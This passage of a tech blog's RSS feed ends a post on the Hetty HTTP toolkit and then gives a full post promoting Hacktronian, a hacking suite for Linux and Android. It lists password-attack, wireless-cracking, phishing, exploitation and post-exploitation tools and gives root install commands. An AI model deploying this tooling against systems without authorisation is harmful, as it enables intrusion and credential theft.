<p><img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f4ac.png" alt="💬" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://discord.gg/3HVsj5pTFP" target="_blank" rel="noopener noreferrer nofollow">Join the Hetty Discord server</a>.</p>
<h2 id="contributing" class="anchor anchorWithStickyNavbar_mojV"><strong>Contributing<a class="hash-link" title="Direct link to heading" href="https://hetty.xyz/docs/#contributing" target="_blank" rel="nofollow noopener">​</a></strong></h2>
<p>Want to contribute? Great! Please check the <a href="https://github.com/dstotijn/hetty/blob/main/CONTRIBUTING.md" target="_blank" rel="noopener noreferrer nofollow">Contribution Guidelines</a> for details.</p>
<p>The post <a href="http://kostacipo.stream/hetty-an-http-toolkit-for-security-research/">Hetty &#8211; An HTTP Toolkit For Security Research</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/hetty-an-http-toolkit-for-security-research/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hacktronian: All in One Hacking Tool for Linux</title>
		<link>http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/</link>
					<comments>http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Sun, 22 Aug 2021 19:05:06 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Hacker Tools]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2099</guid>

					<description><![CDATA[<p>Hacktronian is an all in one hacking suite for Linux and Android. It contains tools for different phases from information gathering to post exploitation. This makes it a handy tool for any penetration tester. Hackronian contains a diverse range of tools which allow the user to gain information, attack targets, perform sniffing and snooping on [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/">Hacktronian: All in One Hacking Tool for Linux</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hacktronian is an all in one hacking suite for Linux and Android. It contains tools for different phases from information gathering to post exploitation. This makes it a handy tool for any penetration tester.</p>
<p>Hackronian contains a diverse range of tools which allow the user to gain information, attack targets, perform sniffing and snooping on targets and perform post exploitation operations on the target. This main benefit of this suite is that all these different tools are available in one place and the user can experiment with different tools within the same terminal. The secondary benefit of this tool is that it can be installed on Android with all the same features.</p>
<h3 class="accent-green">Features:</h3>
<ul>
<li>Contains more than 50 different tools</li>
<li>Modules range from information gathering to post exploitation</li>
<li>Available for both Android and Linux</li>
<li>Perfect for creating a penetration testing workflow</li>
</ul>
<h2>HACKTRONIAN Menu :</h2>
<ul>
<li>Information Gathering</li>
<li>Password Attacks</li>
<li>Wireless Testing</li>
<li>Exploitation Tools</li>
<li>Sniffing &amp; Spoofing</li>
<li>Web Hacking</li>
<li>Private Web Hacking</li>
<li>Post Exploitation</li>
<li>Install The HACKTRONIAN</li>
</ul>
<h3>Information Gathering:</h3>
<ul>
<li>Nmap</li>
<li>Setoolkit</li>
<li>Port Scanning</li>
<li>Host To IP</li>
<li>wordpress user</li>
<li>CMS scanner</li>
<li>XSStrike</li>
<li>Dork &#8211; Google Dorks Passive Vulnerability Auditor</li>
<li>Scan A server&#8217;s Users</li>
<li>Crips</li>
</ul>
<h3>Password Attacks:</h3>
<ul>
<li>Cupp</li>
<li>Ncrack</li>
</ul>
<h3></h3>
<h3>Wireless Testing:</h3>
<ul>
<li>reaver</li>
<li>pixiewps</li>
<li>Fluxion</li>
</ul>
<h3>Exploitation Tools:</h3>
<ul>
<li>ATSCAN</li>
<li>sqlmap</li>
<li>Shellnoob</li>
<li>commix</li>
<li>FTP Auto Bypass</li>
<li>jboss-autopwn</li>
</ul>
<h3>Sniffing &amp; Spoofing:</h3>
<ul>
<li>Setoolkit</li>
<li>SSLtrip</li>
<li>pyPISHER</li>
<li>SMTP Mailer</li>
</ul>
<h3>Web Hacking:</h3>
<ul>
<li>Drupal Hacking</li>
<li>Inurlbr</li>
<li>WordPress &amp; Joomla Scanner</li>
<li>Gravity Form Scanner</li>
<li>File Upload Checker</li>
<li>WordPress Exploit Scanner</li>
<li>WordPress Plugins Scanner</li>
<li>Shell and Directory Finder</li>
<li>Joomla! 1.5 &#8211; 3.4.5 remote code execution</li>
<li>Vbulletin 5.X remote code execution</li>
<li>BruteX &#8211; Automatically brute force all services running on a target</li>
<li>Arachni &#8211; Web Application Security Scanner Framework</li>
</ul>
<h3>Private Web Hacking:</h3>
<ul>
<li>Get all websites</li>
<li>Get joomla websites</li>
<li>Get wordpress websites</li>
<li>Control Panel Finder</li>
<li>Zip Files Finder</li>
<li>Upload File Finder</li>
<li>Get server users</li>
<li>SQli Scanner</li>
<li>Ports Scan (range of ports)</li>
<li>ports Scan (common ports)</li>
<li>Get server Info</li>
<li>Bypass Cloudflare</li>
</ul>
<h3>Post Exploitation:</h3>
<ul>
<li>Shell Checker</li>
<li>POET</li>
<li>Weeman</li>
</ul>
<h3 class="accent-green">Supported Platforms:</h3>
<ul>
<li>Linux</li>
<li>Android (Termux)</li>
</ul>
<h2>Installation in Linux :</h2>
<p>This Tool Must Run As ROOT !!!</p>
<p><code>git clone https://github.com/thehackingsage/hacktronian.git</code></p>
<p><code>cd hacktronian</code></p>
<p><code>chmod +x install.sh</code></p>
<p><code>./install.sh</code></p>
<p>That&#8217;s it.. you can execute tool by typing <strong>hacktronian</strong></p>
<h2>Installation in Android :</h2>
<p>Open <a href="https://play.google.com/store/apps/details?id=com.termux" rel="nofollow">Termux</a></p>
<p><code>pkg install git</code></p>
<p><code>pkg install python</code></p>
<p><code>git clone https://github.com/thehackingsage/hacktronian.git</code></p>
<p><code>cd hacktronian</code></p>
<p><code>chmod +x hacktronian.py</code></p>
<p><code>python2 hacktronian.py</code></p>
<h2>Video Tutorial :</h2>
<p>YouTube : <a href="https://www.youtube.com/watch?v=1LJlyQAQby4" rel="nofollow">https://www.youtube.com/watch?v=1LJlyQAQby4</a></p>
<h2>Hacktronian Usage</h2>
<p>To execute Hacktronian, run:</p>
<pre class="wp-block-preformatted">$ hacktronian</pre>
<pre class="wp-block-preformatted"> _   _    _    ____ _  _______ ____   ___  _   _ ___    _    _   _ 
| | | |  / \  / ___| |/ /_   _|  _ \ / _ \| \ | |_ _|  / \  | \ | |
| |_| | / _ \| |   | ' /  | | | |_) | | | |  \| || |  / _ \ |  \| |
|  _  |/ ___ \ |___| . \  | | |  _ &lt;| |_| | |\  || | / ___ \| |\  |
|_| |_/_/   \_\____|_|\_\ |_| |_| \_\_ __/|_| \_|___/_/   \_\_| \_|
 
[!] This Tool Must Run As ROOT [!] https://linktr.ee/thehackingsage
 
   {1}--Information Gathering
   {2}--Password Attacks
   {3}--Wireless Testing
   {4}--Exploitation Tools
   {5}--Sniffing &amp; Spoofing
   {6}--Web Hacking
   {7}--Private Web Hacking
   {8}--Post Exploitation
   {0}--Install The HACKTRONIAN
   {99}-Exit
 
hacktronian~#</pre>
<p><strong>Download</strong>: <a href="https://github.com/thehackingsage/hacktronian">https://github.com/thehackingsage/hacktronian</a></p>
<div class="row justify-content-center mb-3">
<div class="col-lg-4"></div>
</div>
<p>The post <a href="http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/">Hacktronian: All in One Hacking Tool for Linux</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/hacktronian-all-in-one-hacking-tool-for-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
